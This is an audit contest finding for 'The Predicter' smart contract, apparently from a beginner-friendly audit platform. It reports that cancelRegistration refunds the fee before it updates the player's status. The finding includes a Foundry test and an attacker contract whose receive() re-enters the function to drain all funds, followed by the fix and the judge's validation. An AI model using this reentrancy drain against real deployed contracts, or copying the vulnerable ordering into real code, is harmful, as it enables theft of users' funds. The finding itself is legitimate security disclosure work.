First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

The `ThePredicter:cancelRegistration` function is reentrant, causing loss of funds.

superdevfavour

Summary

The ThePredicter:cancelRegistration function is reentrant, causing loss of funds.

Vulnerability Details

The ThePredicter:cancelRegistration function makes a low level call to transfer the entranceFee back to the user which the msg.sender before changing the user state to State.Cancelled. If the user is a malicious contract, it can recall the ThePredicter:cancelRegistration function thereby draining the contract.
Proof of Concepts
Add this code to the ThePredicter.test.sol file and test.

// Test case
function test_unapprovedCanCancelReentrant() public {
vm.startPrank(stranger);
vm.warp(1);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.warp(10);
vm.stopPrank();
address attackContract = address(
new AttackContract(address(thePredicter), 0.04 ether)
);
vm.startPrank(attackContract);
vm.warp(1);
vm.deal(attackContract, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.warp(10);
thePredicter.cancelRegistration();
vm.stopPrank();
​
assertEq(attackContract.balance, 1.04 ether);
assertEq(address(thePredicter).balance, 0 ether);
}
//Attack contract
contract AttackContract {
ThePredicter thePredicter;
uint256 entranceFee;
​
constructor(address _predicter, uint256 _entranceFee) {
thePredicter = ThePredicter(_predicter);
entranceFee = _entranceFee;
}
​
receive() external payable {
if (address(thePredicter).balance >= entranceFee) {
thePredicter.cancelRegistration();
}
}
}

Impact

This leads to loss of funds cause the user can reenter the function and drain the contract of all the funds.

Tools Used

Foundry

Recommendations

Change the user state before making the call to transfer funds to the user.

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.